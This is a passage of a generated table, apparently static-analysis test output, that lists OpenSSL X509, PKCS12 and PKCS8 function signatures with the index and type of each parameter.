X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 0 | const X509_ACERT * | +| (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | int | +| (const X509_ACERT *,int) | | X509_ACERT_get_attr | 0 | const X509_ACERT * | +| (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | int | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 0 | const X509_ACERT * | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 1 | int | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 2 | int * | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 3 | int * | +| (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 0 | const X509_ACERT * | +| (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 1 | int | +| (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | int | +| (const X509_ACERT *,unsigned char **) | | i2d_X509_ACERT | 0 | const X509_ACERT * | +| (const X509_ACERT *,unsigned char **) | | i2d_X509_ACERT | 1 | unsigned char ** | +| (const X509_ALGOR *) | | OSSL_CMP_ATAV_new_algId | 0 | const X509_ALGOR * | +| (const X509_ALGOR *) | | X509_ALGOR_dup | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 1 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 2 | const char * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 1 | const ASN1_ITEM * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 2 | const char * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 3 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 4 | const ASN1_OCTET_STRING * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 5 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 1 | const ASN1_ITEM * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 2 | const char * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 3 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 4 | const ASN1_OCTET_STRING * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 5 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 6 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 7 | const char * | +| (const X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_cmp | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_cmp | 1 | const X509_ALGOR * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 1 | const char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 2 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 3 | const unsigned char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 4 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 5 | unsigned char ** | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 6 | int * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 7 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 1 | const char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 2 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 3 | const unsigned char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 4 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 5 | unsigned char ** | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 6 | int * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 7 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 8 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 9 | const char * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 1 | const unsigned char * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 2 | int | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 3 | int | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 4 | ecx_key_op_t | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 5 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 6 | const char * | +| (const X509_ALGOR *,unsigned char **) | | i2d_X509_ALGOR | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,unsigned char **) | | i2d_X509_ALGOR | 1 | unsigned char ** | +| (const X509_ALGORS *,unsigned char **) | | i2d_X509_ALGORS | 0 | const X509_ALGORS * | +| (const X509_ALGORS *,unsigned char **) | | i2d_X509_ALGORS | 1 | unsigned char ** | +| (const X509_ATTRIBUTE *) | | X509_ATTRIBUTE_count | 0 | const X509_ATTRIBUTE * | +| (const X509_ATTRIBUTE *) | | X509_ATTRIBUTE_dup | 0 | const X509_ATTRIBUTE * | +| (const X509_ATTRIBUTE *,unsigned char **) | | i2d_X509_ATTRIBUTE | 0 | const X509_ATTRIBUTE * | +| (const X509_ATTRIBUTE *,unsigned char **) | | i2d_X509_ATTRIBUTE | 1 | unsigned char ** | +| (const X509_CERT_AUX *,unsigned char **) | | i2d_X509_CERT_AUX | 0 | const X509_CERT_AUX * | +| (const X509_CERT_AUX *,unsigned char **) | | i2d_X509_CERT_AUX | 1 | unsigned char ** | +| (const X509_CINF *,unsigned char **) | | i2d_X509_CINF | 0 | const X509_CINF * | +| (const X509_CINF *,unsigned char **) | | i2d_X509_CINF | 1 | unsigned char ** | +| (const X509_CRL *) | | OSSL_CMP_ITAV_new_crls | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_dup | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get0_extensions | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get0_lastUpdate | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get0_nextUpdate | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get_issuer | 0 | const X509_CRL * | +| (const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_CRL_get0_signature | 0 | const X509_CRL * | +| (const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_CRL_get0_signature | 1 | const ASN1_BIT_STRING ** | +| (const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_CRL_get0_signature | 2 | const X509_ALGOR ** | +| (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 0 | const X509_CRL * | +| (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | int | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 0 | const X509_CRL * | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 1 | const EVP_MD * | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 2 | unsigned char * | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 3 | unsigned int * | +| (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 0 | const X509_CRL * | +| (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 1 | const X509 * | +| (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | int | +| (const X509_CRL *,const X509_CRL *) | | X509_CRL_cmp | 0 | const X509_CRL * | +| (const X509_CRL *,const X509_CRL *) | | X509_CRL_cmp | 1 | const X509_CRL * | +| (const X509_CRL *,int) | | X509_CRL_get_ext | 0 | const X509_CRL * | +| (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | int | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 0 | const X509_CRL * | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 1 | int | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 2 | int * | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 3 | int * | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 0 | const X509_CRL * | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 1 | int | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | int | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 0 | const X509_CRL * | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 1 | int | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | int | +| (const X509_CRL *,unsigned char **) | | i2d_X509_CRL | 0 | const X509_CRL * | +| (const X509_CRL *,unsigned char **) | | i2d_X509_CRL | 1 | unsigned char ** | +| (const X509_CRL_INFO *,unsigned char **) | | i2d_X509_CRL_INFO | 0 | const X509_CRL_INFO * | +| (const X509_CRL_INFO *,unsigned char **) | | i2d_X509_CRL_INFO | 1 | unsigned char ** | +| (const X509_EXTENSION *) | | X509_EXTENSION_dup | 0 | const X509_EXTENSION * | +| (const X509_EXTENSION *,unsigned char **) | | i2d_X509_EXTENSION | 0 | const X509_EXTENSION * | +| (const X509_EXTENSION *,unsigned char **) | | i2d_X509_EXTENSION | 1 | unsigned char ** | +| (const X509_EXTENSIONS *,unsigned char **) | | i2d_X509_EXTENSIONS | 0 | const X509_EXTENSIONS * | +| (const X509_EXTENSIONS *,unsigned char **) | | i2d_X509_EXTENSIONS | 1 | unsigned char ** | +| (const X509_LOOKUP *) | | X509_LOOKUP_get_method_data | 0 | const X509_LOOKUP * | +| (const X509_LOOKUP *) | | X509_LOOKUP_get_store | 0 | const X509_LOOKUP * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_ctrl | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_free | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_alias | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_fingerprint | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_issuer_serial | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_subject | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_init | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_new_item | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_shutdown | 0 | const X509_LOOKUP_METHOD * | +| (const X509_NAME *) | | X509_NAME_dup | 0 | const X509_NAME * | +| (const X509_NAME *) | | X509_NAME_entry_count | 0 | const X509_NAME * | +| (const X509_NAME *) | | X509_NAME_hash_old | 0 | const X509_NAME * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 0 | const X509_NAME * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 1 | OSSL_LIB_CTX * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 2 | const char * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 3 | int * | +| (const X509_NAME *,char *,int) | | X509_NAME_oneline | 0 | const X509_NAME * | +| (const X509_NAME *,char *,int) | | X509_NAME_oneline | 1 | char * | +| (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | int | +| (const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTID_gen | 0 | const X509_NAME * | +| (const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTID_gen | 1 | const ASN1_INTEGER * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 0 | const X509_NAME * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 2 | char * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 3 | int | +| (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 0 | const X509_NAME * | +| (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | int | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 0 | const X509_NAME * | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 1 | const EVP_MD * | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 2 | unsigned char * | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 3 | unsigned int * | +| (const X509_NAME *,const X509_NAME *) | | X509_NAME_cmp | 0 | const X509_NAME * | +| (const X509_NAME *,const X509_NAME *) | | X509_NAME_cmp | 1 | const X509_NAME * | +| (const X509_NAME *,const char **) | | OCSP_url_svcloc_new | 0 | const X509_NAME * | +| (const X509_NAME *,const char **) | | OCSP_url_svcloc_new | 1 | const char ** | +| (const X509_NAME *,const unsigned char **,size_t *) | | X509_NAME_get0_der | 0 | const X509_NAME * | +| (const X509_NAME *,const unsigned char **,size_t *) | | X509_NAME_get0_der | 1 | const unsigned char ** | +| (const X509_NAME *,const unsigned char **,size_t *) | | X509_NAME_get0_der | 2 | size_t * | +| (const X509_NAME *,int) | | X509_NAME_get_entry | 0 | const X509_NAME * | +| (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | int | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 0 | const X509_NAME * | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 1 | int | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 2 | char * | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 3 | int | +| (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 0 | const X509_NAME * | +| (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 1 | int | +| (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | int | +| (const X509_NAME *,unsigned char **) | | i2d_X509_NAME | 0 | const X509_NAME * | +| (const X509_NAME *,unsigned char **) | | i2d_X509_NAME | 1 | unsigned char ** | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_dup | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_get_data | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_get_object | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_set | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *,unsigned char **) | | i2d_X509_NAME_ENTRY | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *,unsigned char **) | | i2d_X509_NAME_ENTRY | 1 | unsigned char ** | +| (const X509_OBJECT *) | | X509_OBJECT_get0_X509 | 0 | const X509_OBJECT * | +| (const X509_OBJECT *) | | X509_OBJECT_get0_X509_CRL | 0 | const X509_OBJECT * | +| (const X509_OBJECT *) | | X509_OBJECT_get_type | 0 | const X509_OBJECT * | +| (const X509_POLICY_CACHE *,const ASN1_OBJECT *) | | ossl_policy_cache_find_data | 0 | const X509_POLICY_CACHE * | +| (const X509_POLICY_CACHE *,const ASN1_OBJECT *) | | ossl_policy_cache_find_data | 1 | const ASN1_OBJECT * | +| (const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_level_find_node | 0 | const X509_POLICY_LEVEL * | +| (const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_level_find_node | 1 | const X509_POLICY_NODE * | +| (const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_level_find_node | 2 | const ASN1_OBJECT * | +| (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 0 | const X509_POLICY_LEVEL * | +| (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | int | +| (const X509_POLICY_NODE *) | | X509_policy_node_get0_parent | 0 | const X509_POLICY_NODE * | +| (const X509_POLICY_NODE *) | | X509_policy_node_get0_policy | 0 | const X509_POLICY_NODE * | +| (const X509_POLICY_NODE *) | | X509_policy_node_get0_qualifiers | 0 | const X509_POLICY_NODE * | +| (const X509_POLICY_TREE *) | | X509_policy_tree_get0_policies | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *) | | X509_policy_tree_get0_user_policies | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *) | | X509_policy_tree_level_count | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | int | +| (const X509_PUBKEY *) | | X509_PUBKEY_dup | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *) | | X509_PUBKEY_get | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *) | | X509_PUBKEY_get0 | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *,unsigned char **) | | i2d_X509_PUBKEY | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *,unsigned char **) | | i2d_X509_PUBKEY | 1 | unsigned char ** | +| (const X509_PURPOSE *) | | X509_PURPOSE_get0_name | 0 | const X509_PURPOSE * | +| (const X509_PURPOSE *) | | X509_PURPOSE_get0_sname | 0 | const X509_PURPOSE * | +| (const X509_PURPOSE *) | | X509_PURPOSE_get_id | 0 | const X509_PURPOSE * | +| (const X509_PURPOSE *) | | X509_PURPOSE_get_trust | 0 | const X509_PURPOSE * | +| (const X509_REQ *) | | X509_REQ_dup | 0 | const X509_REQ * | +| (const X509_REQ *) | | X509_REQ_get_subject_name | 0 | const X509_REQ * | +| (const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_REQ_get0_signature | 0 | const X509_REQ * | +| (const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_REQ_get0_signature | 1 | const ASN1_BIT_STRING ** | +| (const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_REQ_get0_signature | 2 | const X509_ALGOR ** | +| (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 0 | const X509_REQ * | +| (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | int | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 0 | const X509_REQ * | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 1 | const EVP_MD * | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 2 | unsigned char * | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 3 | unsigned int * | +| (const X509_REQ *,int) | | X509_REQ_get_attr | 0 | const X509_REQ * | +| (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | int | +| (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 0 | const X509_REQ * | +| (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 1 | int | +| (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | int | +| (const X509_REQ *,unsigned char **) | | i2d_X509_REQ | 0 | const X509_REQ * | +| (const X509_REQ *,unsigned char **) | | i2d_X509_REQ | 1 | unsigned char ** | +| (const X509_REQ_INFO *,unsigned char **) | | i2d_X509_REQ_INFO | 0 | const X509_REQ_INFO * | +| (const X509_REQ_INFO *,unsigned char **) | | i2d_X509_REQ_INFO | 1 | unsigned char ** | +| (const X509_REVOKED *) | | X509_REVOKED_dup | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get0_extensions | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get0_revocationDate | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get0_serialNumber | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get_ext_count | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | int | +| (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | int | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 1 | int | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 2 | int * | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 3 | int * | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 1 | int | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | int | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 1 | int | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | int | +| (const X509_REVOKED *,unsigned char **) | | i2d_X509_REVOKED | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,unsigned char **) | | i2d_X509_REVOKED | 1 | unsigned char ** | +| (const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **) | | X509_SIG_get0 | 0 | const X509_SIG * | +| (const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **) | | X509_SIG_get0 | 1 | const X509_ALGOR ** | +| (const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **) | | X509_SIG_get0 | 2 | const ASN1_OCTET_STRING ** | +| (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 0 | const X509_SIG * | +| (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | const char * | +| (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | int | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 0 | const X509_SIG * | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 1 | const char * | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 2 | int | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 3 | OSSL_LIB_CTX * | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 4 | const char * | +| (const X509_SIG *,unsigned char **) | | i2d_X509_SIG | 0 | const X509_SIG * | +| (const X509_SIG *,unsigned char **) | | i2d_X509_SIG | 1 | unsigned char ** | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 0 | const X509_SIG_INFO * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 1 | int * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 2 | int * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 3 | int * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 4 | uint32_t * | +| (const X509_STORE *) | | X509_STORE_get0_objects | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get0_param | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_cert_crl | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_check_crl | 0 | const X509_STORE * | +| (const 